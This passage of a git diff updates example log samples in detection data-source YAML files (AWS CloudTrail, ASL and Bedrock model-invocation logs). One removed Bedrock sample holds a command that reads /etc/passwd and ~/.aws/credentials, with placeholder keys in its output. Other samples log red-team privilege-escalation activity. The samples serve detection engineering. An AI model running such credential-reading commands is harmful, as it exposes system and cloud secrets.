.../windows_event_log_appxpackaging_171.yml | 3 +- .../windows_event_log_defender_1116.yml | 3 +- .../windows_event_log_defender_1117.yml | 3 +- .../windows_event_log_defender_1121.yml | 3 +- .../windows_event_log_defender_1122.yml | 3 +- .../windows_event_log_defender_1125.yml | 3 +- .../windows_event_log_defender_1126.yml | 3 +- .../windows_event_log_defender_1129.yml | 22 +- .../windows_event_log_defender_1131.yml | 3 +- .../windows_event_log_defender_1132.yml | 3 +- .../windows_event_log_defender_1133.yml | 3 +- .../windows_event_log_defender_1134.yml | 3 +- .../windows_event_log_defender_5007.yml | 3 +- .../windows_event_log_security_1100.yml | 3 +- .../windows_event_log_security_1102.yml | 3 +- .../windows_event_log_security_4624.yml | 3 +- .../windows_event_log_security_4625.yml | 3 +- .../windows_event_log_security_4648.yml | 3 +- .../windows_event_log_security_4662.yml | 12 +- .../windows_event_log_security_4663.yml | 4 +- .../windows_event_log_security_4672.yml | 12 +- .../windows_event_log_security_4688.yml | 3 +- .../windows_event_log_security_4698.yml | 46 +++- .../windows_event_log_security_4699.yml | 3 +- .../windows_event_log_security_4700.yml | 52 +++- .../windows_event_log_security_4702.yml | 52 +++- .../windows_event_log_security_4703.yml | 14 +- .../windows_event_log_security_4719.yml | 3 +- .../windows_event_log_security_4720.yml | 6 +- .../windows_event_log_security_4723.yml | 3 +- .../windows_event_log_security_4724.yml | 3 +- .../windows_event_log_security_4725.yml | 3 +- .../windows_event_log_security_4726.yml | 233 +++++++++++++++++- .../windows_event_log_security_4727.yml | 3 +- .../windows_event_log_security_4728.yml | 3 +- .../windows_event_log_security_4730.yml | 3 +- .../windows_event_log_security_4731.yml | 3 +- .../windows_event_log_security_4732.yml | 3 +- .../windows_event_log_security_4737.yml | 3 +- .../windows_event_log_security_4738.yml | 4 +- .../windows_event_log_security_4741.yml | 8 +- .../windows_event_log_security_4742.yml | 3 +- .../windows_event_log_security_4744.yml | 3 +- .../windows_event_log_security_4749.yml | 3 +- .../windows_event_log_security_4754.yml | 3 +- .../windows_event_log_security_4756.yml | 3 +- .../windows_event_log_security_4759.yml | 3 +- .../windows_event_log_security_4768.yml | 3 +- .../windows_event_log_security_4769.yml | 3 +- .../windows_event_log_security_4771.yml | 3 +- .../windows_event_log_security_4776.yml | 3 +- .../windows_event_log_security_4781.yml | 3 +- .../windows_event_log_security_4783.yml | 3 +- .../windows_event_log_security_4790.yml | 3 +- .../windows_event_log_security_4794.yml | 3 +- .../windows_event_log_security_4798.yml | 3 +- .../windows_event_log_security_4876.yml | 3 +- .../windows_event_log_security_4886.yml | 6 +- .../windows_event_log_security_4887.yml | 6 +- .../windows_event_log_security_4946.yml | 3 +- .../windows_event_log_security_4947.yml | 3 +- .../windows_event_log_security_4948.yml | 3 +- .../windows_event_log_security_5136.yml | 3 +- .../windows_event_log_security_5137.yml | 3 +- .../windows_event_log_security_5140.yml | 4 +- .../windows_event_log_security_5141.yml | 3 +- .../windows_event_log_security_5145.yml | 4 +- data_sources/windows_event_log_system_104.yml | 3 +- .../windows_event_log_system_7036.yml | 3 +- .../windows_event_log_system_7040.yml | 3 +- .../windows_event_log_system_7045.yml | 3 +- .../windows_event_log_taskscheduler_201.yml | 3 +- 187 files changed, 899 insertions(+), 186 deletions(-) diff --git a/data_sources/asl_aws_cloudtrail.yml b/data_sources/asl_aws_cloudtrail.yml index df2f35ffbc..c1c36e1587 100644 --- a/data_sources/asl_aws_cloudtrail.yml +++ b/data_sources/asl_aws_cloudtrail.yml @@ -130,3 +130,6 @@ output_fields: - vendor_account - vendor_region - vendor_product + +example_log: | + {"metadata":{"product":{"version":"1.10","name":"CloudTrail","vendor_name":"AWS","feature":{"name":"Management"}},"event_code":"AwsApiCall","uid":"721b851c-40ec-4a1a-9d81-666641ab0d8e","profiles":"cloud","profiles":"datetime","version":"1.1.0"},"time":1733922792000,"time_dt":1733922792000,"cloud":{"region":"us-east-1","provider":"AWS"},"api":{"response":{"error":"","message":"","data":""},"operation":"DeleteGroup","version":"","service":{"name":"iam.amazonaws.com"},"request":{"data":"{\"groupName\":\"test\"}","uid":"89c19a56-3257-40c1-a36d-ad461ce9be53"}},"dst_endpoint":{"svc_name":""},"actor":{"user":{"type":"IAMUser","name":"test","uid_alt":"AAAAAAAAAAAAAAAAAAAA","uid":"arn:aws:iam::222222222222:user/test","account":{"uid":"222222222222"},"credential_uid":"AAAAAAAAAAAAAAAAAAAAA"},"session":{"created_time_dt":"0","is_mfa":false,"issuer":""},"invoked_by":"","idp":{"name":""}},"http_request":{"user_agent":"aws-cli/2.18.17 md/awscrt#0.22.0 ua/2.0 os/macos#24.1.0 md/arch#arm64 lang/python#3.12.7 md/pyimpl#CPython cfg/retry-mode#standard md/installer#source md/prompt#off md/command#iam.delete-group"},"src_endpoint":{"uid":"","ip":"84.174.65.161","domain":""},"session":{"uid":"","uid_alt":"","credential_uid":"","issuer":""},"policy":{"uid":""},"resources":null,"class_name":"Account Change","class_uid":3001,"category_name":"Identity & Access Management","category_uid":3,"severity_id":1,"severity":"Informational","user":{"uid_alt":"","uid":"","name":""},"activity_name":"Delete","activity_id":6,"type_uid":300106,"type_name":"Account Change: Delete","status":"Success","is_mfa":false,"unmapped":{"tlsDetails.clientProvidedHostHeader":"iam.amazonaws.com","recipientAccountId":"222222222222","readOnly":"false","tlsDetails.tlsVersion":"TLSv1.3","managementEvent":"true","tlsDetails.cipherSuite":"TLS_AES_128_GCM_SHA256"},"accountid":"","region":"","asl_version":"","observables":{"name":"src_endpoint.ip","name":"actor.user.name","value":"84.174.65.161","value":"test","type":"IP Address","type":"User Name","type_id":2,"type_id":4}} diff --git a/data_sources/aws_bedrock_claude.yml b/data_sources/aws_bedrock_claude.yml index c3b92d3802..cc471e3b0c 100644 --- a/data_sources/aws_bedrock_claude.yml +++ b/data_sources/aws_bedrock_claude.yml @@ -80,7 +80,8 @@ fields: - sourcetype - splunk_server - timestamp -example_log: '{"timestamp":"2026-05-07T19:43:51Z","accountId":"387769110234","region":"us-west-2","requestId":"eb4b957b-6cbd-4679-8356-3bf3dde4d86e","operation":"InvokeModelWithResponseStream","modelId":"arn:aws:bedrock:us-west-2:387769110234:application-inference-profile/9tr38q319pda","input":{"inputContentType":"application/json","inputBodyJson":{"messages":[{"role":"user","content":[{"type":"text","text":"Command: cat /etc/passwd ~/.aws/credentials\nOutput: root:x:0:0:root:/root:/bin/bash\naws_access_key_id=AKIAIOSFODNN7EXAMPLE\naws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY","cache_control":{"type":"ephemeral"}}]}],"system":[{"type":"text","text":"You are Claude Code, Anthropic official CLI for Claude.","cache_control":{"type":"ephemeral"}}],"tools":[],"metadata":{"user_id":"user_cac3250bfea25c22f4deeaa4f2203cfb2d32fa6d33fc2be55da7585999de0387_account__session_6410ddbe-4a76-4d6a-87b4-a2e5e2d3b853"},"max_tokens":16384,"temperature":1,"anthropic_version":"bedrock-2023-05-31","anthropic_beta":["claude-code-20250219"]},"inputTokenCount":2536,"cacheReadInputTokenCount":0,"cacheWriteInputTokenCount":0},"output":{"outputContentType":"application/json","outputBodyJson":[{"type":"message_start","message":{"model":"claude-haiku-4-5-20251001","id":"msg_bdrk_01Hxoz2bLhqvhZHSkdphvtZp","type":"message","role":"assistant","content":[],"stop_reason":null,"stop_sequence":null,"usage":{"input_tokens":2536,"cache_creation_input_tokens":0,"cache_read_input_tokens":0,"cache_creation":{"ephemeral_5m_input_tokens":0,"ephemeral_1h_input_tokens":0},"output_tokens":2}}},{"type":"message_stop","amazon-bedrock-invocationMetrics":{"inputTokenCount":2536,"outputTokenCount":31,"invocationLatency":1200,"firstByteLatency":900}}],"outputTokenCount":31},"identity":{"arn":"arn:aws:sts::387769110234:assumed-role/bedrock-inference-role/vg@foo.com"},"inferenceRegion":"us-east-2","schemaType":"ModelInvocationLog","schemaVersion":"1.0"}' +example_log: | + {"timestamp":"2026-05-07T17:25:54Z","accountId":"387769110234","region":"us-west-2","requestId":"f3b55895-e86b-4361-b049-939c415864ec","operation":"InvokeModelWithResponseStream","modelId":"arn:aws:bedrock:us-west-2:387769110234:application-inference-profile/30gg9eioz4ca","input":{"inputContentType":"application/json","inputBodyJson":{"messages":[{"role":"user","content":[{"type":"text","text":"Command: PGPASSWORD=dev_password psql -h localhost -U foo_dev -d detector_optimization -c \"SELECT org_id, status, last_scan_at FROM scans;\"\nOutput: BqDQY5OAAAA | success | 2026-05-06 00:28:27"}]}],"system":[{"type":"text","text":"You are Claude Code, Anthropic's official CLI for Claude."}],"tools":[],"metadata":{"user_id":"user_120425bc83874fef93db29aaf0b716bb_account__session_1c3dc58a-bb6b-4380-982d-6cc8b0a00b8c"},"max_tokens":16384,"anthropic_version":"bedrock-2023-05-31","anthropic_beta":["claude-code-20250219"]},"inputTokenCount":23,"cacheReadInputTokenCount":0,"cacheWriteInputTokenCount":0},"output":{"outputContentType":"application/json","outputBodyJson":[{"type":"message_stop","amazon-bedrock-invocationMetrics":{"inputTokenCount":23,"outputTokenCount":25,"invocationLatency":900,"firstByteLatency":600}}],"outputTokenCount":25},"identity":{"arn":"arn:aws:sts::387769110234:assumed-role/bedrock-inference-role/jani@foo.com"},"inferenceRegion":"us-west-2","schemaType":"ModelInvocationLog","schemaVersion":"1.0"} output_fields: - user - user_arn diff --git a/data_sources/aws_cloudtrail.yml b/data_sources/aws_cloudtrail.yml index e8199c06bb..00c873fdf2 100644 --- a/data_sources/aws_cloudtrail.yml +++ b/data_sources/aws_cloudtrail.yml @@ -108,3 +108,6 @@ supported_TA: - name: Splunk Add-on for AWS url: https://splunkbase.splunk.com/app/1876 version: 8.2.2 + +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::111111111111:user/bhavin_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLKQ3U2PDY", "userName": "bhavin_cli"}, "eventTime": "2022-02-25T00:53:49Z", "eventSource": "lambda.amazonaws.com", "eventName": "UpdateFunctionCode20150331v2", "awsRegion": "us-west-2", "sourceIPAddress": "73.202.156.34", "userAgent": "aws-cli/2.0.62 Python/3.9.2 Darwin/19.6.0 source/x86_64 command/lambda.update-function-code", "requestParameters": {"fullyQualifiedArn": {"arnPrefix": {"partition": "aws", "region": "us-west-2", "account": "111111111111"}, "relativeId": {"functionName": "bhavin_test"}, "functionQualifier": {}}, "functionName": "arn:aws:lambda:us-west-2:111111111111:function:bhavin_test", "publish": true, "dryRun": false}, "responseElements": {"functionName": "bhavin_test", "functionArn": "arn:aws:lambda:us-west-2:111111111111:function:bhavin_test:1", "runtime": "python3.8", "role": "arn:aws:iam::111111111111:role/service-role/bhavin_test-role-7ppg8rck", "handler": "lambda_function.lambda_handler", "codeSize": 779, "description": "", "timeout": 3, "memorySize": 128, "lastModified": "2022-02-25T00:53:49.000+0000", "codeSha256": "cn+ec5LfJBeR4xOhy4XT2AhTndy6uQ268Iu+hY1WGS8=", "version": "1", "environment": {}, "tracingConfig": {"mode": "PassThrough"}, "revisionId": "c617a19c-1192-40d0-af2f-9d51b41494b6", "state": "Pending", "stateReason": "The function is being created.", "stateReasonCode": "Creating", "packageType": "Zip", "architectures": ["x86_64"]}, "requestID": "bcbb506f-d09c-4f28-83dc-717c4eafc182", "eventID": "4ac2b1d2-cfb8-4da8-b3b5-c2c0e85495c3", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management"} diff --git a/data_sources/aws_cloudtrail_consolelogin.yml b/data_sources/aws_cloudtrail_consolelogin.yml index b141733a0f..d98da3978d 100644 --- a/data_sources/aws_cloudtrail_consolelogin.yml +++ b/data_sources/aws_cloudtrail_consolelogin.yml @@ -111,4 +111,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "accountId": "111111111111", "accessKeyId": "", "userName": "HIDDEN_DUE_TO_SECURITY_REASONS"}, "eventTime": "2022-10-19T20:33:38Z", "eventSource": "signin.amazonaws.com", "eventName": "ConsoleLogin", "awsRegion": "us-east-1", "sourceIPAddress": "142.254.89.27", "userAgent": "Go-http-client/1.1", "errorMessage": "No username found in supplied account", "requestParameters": null, "responseElements": {"ConsoleLogin": "Failure"}, "additionalEventData": {"LoginTo": "https://console.aws.amazon.com", "MobileVersion": "No", "MFAUsed": "No"}, "eventID": "9fcfb8c3-3fca-48db-85d2-7b107f9d95d0", "readOnly": false, "eventType": "AwsConsoleSignIn", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "signin.aws.amazon.com"}}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "Root", "principalId": "111111111111", "arn": "arn:aws:iam::111111111111:root", "accountId": "111111111111", "accessKeyId": ""}, "eventTime": "2022-10-04T20:12:11Z", "eventSource": "signin.amazonaws.com", "eventName": "ConsoleLogin", "awsRegion": "us-east-1", "sourceIPAddress": "142.254.89.27", "userAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36", "requestParameters": null, "responseElements": {"ConsoleLogin": "Success"}, "additionalEventData": {"LoginTo": "https://us-east-1.console.aws.amazon.com/console/home?hashArgs=%23&isauthcode=true®ion=us-east-1&skipRegion=true&state=hashArgsFromTB_us-east-1_dbcda3577ba5583b", "MobileVersion": "No", "MFAUsed": "No"}, "eventID": "630d3da9-9cdc-44a4-a617-33e2f8f21a32", "readOnly": false, "eventType": "AwsConsoleSignIn", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "signin.aws.amazon.com"}} diff --git a/data_sources/aws_cloudtrail_createaccesskey.yml b/data_sources/aws_cloudtrail_createaccesskey.yml index 22c6a034e8..76f88d834e 100644 --- a/data_sources/aws_cloudtrail_createaccesskey.yml +++ b/data_sources/aws_cloudtrail_createaccesskey.yml @@ -112,4 +112,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::121521347698:user/bhavin_cli", "accountId": "121521347698", "accessKeyId": "AKIAYTOGP2RLLAA6NJUM", "userName": "bhavin_cli"}, "eventTime": "2021-03-02T21:18:24Z", "eventSource": "iam.amazonaws.com", "eventName": "CreateAccessKey", "awsRegion": "us-east-1", "sourceIPAddress": "12.25.72.12", "userAgent": "aws-cli/2.0.62 Python/3.9.0 Darwin/19.6.0 source/x86_64 command/iam.create-access-key", "requestParameters": {"userName": "AtomicRedTeam"}, "responseElements": {"accessKey": {"userName": "AtomicRedTeam", "accessKeyId": "AKIAYTOGP2RLOQ4ULYGT", "status": "Active", "createDate": "Mar 2, 2021 9:18:24 PM"}}, "requestID": "12c8773d-6c78-46bf-a8e4-f841adc8f70d", "eventID": "5772e8d5-cccc-470d-81ef-acacfe85a804", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "121521347698"}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::121521347698:user/bhavin_cli", "accountId": "121521347698", "accessKeyId": "AKIAYTOGP2RLNWREA6ND", "userName": "root"}, "eventTime": "2021-02-26T00:59:56Z", "eventSource": "iam.amazonaws.com", "eventName": "CreateAccessKey", "awsRegion": "us-east-1", "sourceIPAddress": "12.25.72.12", "userAgent": "aws-cli/2.0.62 Python/3.9.0 Darwin/19.6.0 source/x86_64 command/iam.create-access-key", "requestParameters": {"userName": "AtomicRedTeam"}, "responseElements": {"accessKey": {"userName": "AtomicRedTeam", "accessKeyId": "AKIAYTOGP2RLBBCIMNFB", "status": "Active", "createDate": "Feb 26, 2021 12:59:56 AM"}}, "requestID": "f091fc85-c50e-40eb-9b7e-b6261f0487a3", "eventID": "768ae31b-64cd-488b-9a19-14dfcdbe62df", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "121521347698"} diff --git a/data_sources/aws_cloudtrail_createkey.yml b/data_sources/aws_cloudtrail_createkey.yml index 4839322166..54814fcfc9 100644 --- a/data_sources/aws_cloudtrail_createkey.yml +++ b/data_sources/aws_cloudtrail_createkey.yml @@ -111,4 +111,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "AssumedRole", "principalId": "AROAIJIESMXKGCJRCTPR6:pbareiss@splunk.local", "arn": "arn:aws:sts::111111111111:assumed-role/okta_adm_role/pbareiss@splunk.local", "accountId": "111111111111", "accessKeyId": "ASIAYTOGP2RLK74OPBDR", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AROAIJIESMXKGCJRCTPR6", "arn": "arn:aws:iam::111111111111:role/okta_adm_role", "accountId": "111111111111", "userName": "okta_adm_role"}, "webIdFederationData": {}, "attributes": {"mfaAuthenticated": "false", "creationDate": "2021-01-11T09:03:18Z"}}}, "eventTime": "2021-01-11T09:56:31Z", "eventSource": "kms.amazonaws.com", "eventName": "CreateKey", "awsRegion": "us-west-2", "sourceIPAddress": "95.90.199.65", "userAgent": "aws-internal/3 aws-sdk-java/1.11.893 Linux/4.9.230-0.1.ac.223.84.332.metal1.x86_64 OpenJDK_64-Bit_Server_VM/25.272-b10 java/1.8.0_272 vendor/Oracle_Corporation", "requestParameters": {"origin": "AWS_KMS", "policy": "{\n \"Id\": \"key-consolepolicy-3\",\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"Enable IAM User Permissions\",\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::111111111111:root\"\n },\n \"Action\": \"kms:*\",\n \"Resource\": \"*\"\n },\n {\n \"Sid\": \"Allow access for Key Administrators\",\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::111111111111:user/patrick_cli\"\n },\n \"Action\": [\n \"kms:Create*\",\n \"kms:Describe*\",\n \"kms:Enable*\",\n \"kms:List*\",\n \"kms:Put*\",\n \"kms:Update*\",\n \"kms:Revoke*\",\n \"kms:Disable*\",\n \"kms:Get*\",\n \"kms:Delete*\",\n \"kms:TagResource\",\n \"kms:UntagResource\",\n \"kms:ScheduleKeyDeletion\",\n \"kms:CancelKeyDeletion\"\n ],\n \"Resource\": \"*\"\n },\n {\n \"Sid\": \"Allow use of the key\",\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::111111111111:user/patrick_cli\"\n },\n \"Action\": [\n \"kms:Encrypt\",\n \"kms:Decrypt\",\n \"kms:ReEncrypt*\",\n \"kms:GenerateDataKey*\",\n \"kms:DescribeKey\"\n ],\n \"Resource\": \"*\"\n },\n {\n \"Sid\": \"Allow attachment of persistent resources\",\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::111111111111:user/patrick_cli\"\n },\n \"Action\": [\n \"kms:CreateGrant\",\n \"kms:ListGrants\",\n \"kms:RevokeGrant\"\n ],\n \"Resource\": \"*\",\n \"Condition\": {\n \"Bool\": {\n \"kms:GrantIsForAWSResource\": \"true\"\n }\n }\n },\n {\n \"Sid\": \"Allow use of the key\",\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"*\"\n },\n \"Action\": [\n \"kms:Encrypt\"\n ],\n \"Resource\": \"*\"\n }\n ]\n}", "description": "", "customerMasterKeySpec": "SYMMETRIC_DEFAULT", "bypassPolicyLockoutSafetyCheck": false, "tags": [], "keyUsage": "ENCRYPT_DECRYPT"}, "responseElements": {"keyMetadata": {"aWSAccountId": "111111111111", "keyId": "f2a82583-a7d3-4c92-8787-fe2baab1cee1", "arn": "arn:aws:kms:us-west-2:111111111111:key/f2a82583-a7d3-4c92-8787-fe2baab1cee1", "creationDate": "Jan 11, 2021, 9:56:30 AM", "enabled": true, "description": "", "keyUsage": "ENCRYPT_DECRYPT", "keyState": "Enabled", "origin": "AWS_KMS", "keyManager": "CUSTOMER", "customerMasterKeySpec": "SYMMETRIC_DEFAULT", "encryptionAlgorithms": ["SYMMETRIC_DEFAULT"]}}, "requestID": "3356af25-a237-471f-ba5e-abb37d4a256f", "eventID": "f09518ac-5ae5-4214-80ee-4f23ccdedd4c", "readOnly": false, "resources": [{"accountId": "111111111111", "type": "AWS::KMS::Key", "ARN": "arn:aws:kms:us-west-2:111111111111:key/f2a82583-a7d3-4c92-8787-fe2baab1cee1"}], "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "111111111111"}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "AssumedRole", "principalId": "AROAIJIESMXKGCJRCTPR6:pbareiss@splunk.local", "arn": "arn:aws:sts::111111111111:assumed-role/okta_adm_role/pbareiss@splunk.local", "accountId": "111111111111", "accessKeyId": "ASIAYTOGP2RLK74OPBDR", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AROAIJIESMXKGCJRCTPR6", "arn": "arn:aws:iam::111111111111:role/okta_adm_role", "accountId": "111111111111", "userName": "okta_adm_role"}, "webIdFederationData": {}, "attributes": {"mfaAuthenticated": "false", "creationDate": "2021-01-11T09:03:18Z"}}}, "eventTime": "2021-01-11T09:56:31Z", "eventSource": "kms.amazonaws.com", "eventName": "CreateKey", "awsRegion": "us-west-2", "sourceIPAddress": "95.90.199.65", "userAgent": "aws-internal/3 aws-sdk-java/1.11.893 Linux/4.9.230-0.1.ac.223.84.332.metal1.x86_64 OpenJDK_64-Bit_Server_VM/25.272-b10 java/1.8.0_272 vendor/Oracle_Corporation", "requestParameters": {"origin": "AWS_KMS", "policy": "{\n \"Id\": \"key-consolepolicy-3\",\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"Enable IAM User Permissions\",\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::111111111111:root\"\n },\n \"Action\": \"kms:*\",\n \"Resource\": \"*\"\n },\n {\n \"Sid\": \"Allow access for Key Administrators\",\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::111111111111:user/patrick_cli\"\n },\n \"Action\": [\n \"kms:Create*\",\n \"kms:Describe*\",\n \"kms:Enable*\",\n \"kms:List*\",\n \"kms:Put*\",\n \"kms:Update*\",\n \"kms:Revoke*\",\n \"kms:Disable*\",\n \"kms:Get*\",\n \"kms:Delete*\",\n \"kms:TagResource\",\n \"kms:UntagResource\",\n \"kms:ScheduleKeyDeletion\",\n \"kms:CancelKeyDeletion\"\n ],\n \"Resource\": \"*\"\n },\n {\n \"Sid\": \"Allow use of the key\",\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::111111111111:user/patrick_cli\"\n },\n \"Action\": [\n \"kms:Encrypt\",\n \"kms:Decrypt\",\n \"kms:ReEncrypt*\",\n \"kms:GenerateDataKey*\",\n \"kms:DescribeKey\"\n ],\n \"Resource\": \"*\"\n },\n {\n \"Sid\": \"Allow attachment of persistent resources\",\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::111111111111:user/patrick_cli\"\n },\n \"Action\": [\n \"kms:CreateGrant\",\n \"kms:ListGrants\",\n \"kms:RevokeGrant\"\n ],\n \"Resource\": \"*\",\n \"Condition\": {\n \"Bool\": {\n \"kms:GrantIsForAWSResource\": \"true\"\n }\n }\n },\n {\n \"Sid\": \"Allow use of the key\",\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"*\"\n },\n \"Action\": [\n \"kms:Encrypt\"\n ],\n \"Resource\": \"*\"\n }\n ]\n}", "description": "", "customerMasterKeySpec": "SYMMETRIC_DEFAULT", "bypassPolicyLockoutSafetyCheck": false, "tags": [], "keyUsage": "ENCRYPT_DECRYPT"}, "responseElements": {"keyMetadata": {"aWSAccountId": "111111111111", "keyId": "f2a82583-a7d3-4c92-8787-fe2baab1cee1", "arn": "arn:aws:kms:us-west-2:111111111111:key/f2a82583-a7d3-4c92-8787-fe2baab1cee1", "creationDate": "Jan 11, 2021, 9:56:30 AM", "enabled": true, "description": "", "keyUsage": "ENCRYPT_DECRYPT", "keyState": "Enabled", "origin": "AWS_KMS", "keyManager": "CUSTOMER", "customerMasterKeySpec": "SYMMETRIC_DEFAULT", "encryptionAlgorithms": ["SYMMETRIC_DEFAULT"]}}, "requestID": "3356af25-a237-471f-ba5e-abb37d4a256f", "eventID": "f09518ac-5ae5-4214-80ee-4f23ccdedd4c", "readOnly": false, "resources": [{"accountId": "111111111111", "type": "AWS::KMS::Key", "ARN": "arn:aws:kms:us-west-2:111111111111:key/f2a82583-a7d3-4c92-8787-fe2baab1cee1"}], "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "111111111111"} diff --git a/data_sources/aws_cloudtrail_createnetworkaclentry.yml b/data_sources/aws_cloudtrail_createnetworkaclentry.yml index a727b5e389..b6703d69bc 100644 --- a/data_sources/aws_cloudtrail_createnetworkaclentry.yml +++ b/data_sources/aws_cloudtrail_createnetworkaclentry.yml @@ -112,4 +112,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "AssumedRole", "principalId": "AROAIJIESMXKGCJRCTPR6:pbareiss@splunk.local", "arn": "arn:aws:sts::111111111111:assumed-role/okta_adm_role/pbareiss@splunk.local", "accountId": "111111111111", "accessKeyId": "ASIAYTOGP2RLF3F7BXZK", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AROAIJIESMXKGCJRCTPR6", "arn": "arn:aws:iam::111111111111:role/okta_adm_role", "accountId": "111111111111", "userName": "okta_adm_role"}, "webIdFederationData": {}, "attributes": {"mfaAuthenticated": "false", "creationDate": "2021-01-12T08:36:15Z"}}}, "eventTime": "2021-01-12T08:38:39Z", "eventSource": "ec2.amazonaws.com", "eventName": "CreateNetworkAclEntry", "awsRegion": "eu-central-1", "sourceIPAddress": "95.90.199.65", "userAgent": "console.ec2.amazonaws.com", "requestParameters": {"networkAclId": "acl-078ccebebcbabe175", "ruleNumber": 10, "egress": false, "ruleAction": "allow", "icmpTypeCode": {}, "portRange": {}, "aclProtocol": "-1", "cidrBlock": "0.0.0.0/0"}, "responseElements": {"requestId": "d29c9c32-3a72-48d3-b612-6ba795e9ec64", "_return": true}, "requestID": "d29c9c32-3a72-48d3-b612-6ba795e9ec64", "eventID": "6d1ce00e-4099-463c-8a4d-2af2fb2178ba", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "111111111111"}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "AssumedRole", "principalId": "AROAIJIESMXKGCJRCTPR6:pbareiss@splunk.local", "arn": "arn:aws:sts::111111111111:assumed-role/okta_adm_role/pbareiss@splunk.local", "accountId": "111111111111", "accessKeyId": "ASIAYTOGP2RLF3F7BXZK", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AROAIJIESMXKGCJRCTPR6", "arn": "arn:aws:iam::111111111111:role/okta_adm_role", "accountId": "111111111111", "userName": "okta_adm_role"}, "webIdFederationData": {}, "attributes": {"mfaAuthenticated": "false", "creationDate": "2021-01-12T08:36:15Z"}}}, "eventTime": "2021-01-12T08:38:39Z", "eventSource": "ec2.amazonaws.com", "eventName": "CreateNetworkAclEntry", "awsRegion": "eu-central-1", "sourceIPAddress": "95.90.199.65", "userAgent": "console.ec2.amazonaws.com", "requestParameters": {"networkAclId": "acl-078ccebebcbabe175", "ruleNumber": 10, "egress": false, "ruleAction": "allow", "icmpTypeCode": {}, "portRange": {}, "aclProtocol": "-1", "cidrBlock": "0.0.0.0/0"}, "responseElements": {"requestId": "d29c9c32-3a72-48d3-b612-6ba795e9ec64", "_return": true}, "requestID": "d29c9c32-3a72-48d3-b612-6ba795e9ec64", "eventID": "6d1ce00e-4099-463c-8a4d-2af2fb2178ba", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "111111111111"} diff --git a/data_sources/aws_cloudtrail_createpolicyversion.yml b/data_sources/aws_cloudtrail_createpolicyversion.yml index 605ce1e15f..17965eb96d 100644 --- a/data_sources/aws_cloudtrail_createpolicyversion.yml +++ b/data_sources/aws_cloudtrail_createpolicyversion.yml @@ -100,4 +100,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLNMCDVJZAY", "arn": "arn:aws:iam::111111111111:user/rhino_escalate", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLHSQZPZFZ", "userName": "rhino_escalate"}, "eventTime": "2021-02-23T00:02:30Z", "eventSource": "iam.amazonaws.com", "eventName": "CreatePolicyVersion", "awsRegion": "us-east-1", "sourceIPAddress": "73.15.72.101", "userAgent": "aws-cli/2.0.62 Python/3.9.0 Darwin/19.6.0 source/x86_64 command/iam.create-policy-version", "requestParameters": {"policyArn": "arn:aws:iam::111111111111:policy/rhino_escalate", "policyDocument": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"AllowEverything\",\n \"Effect\": 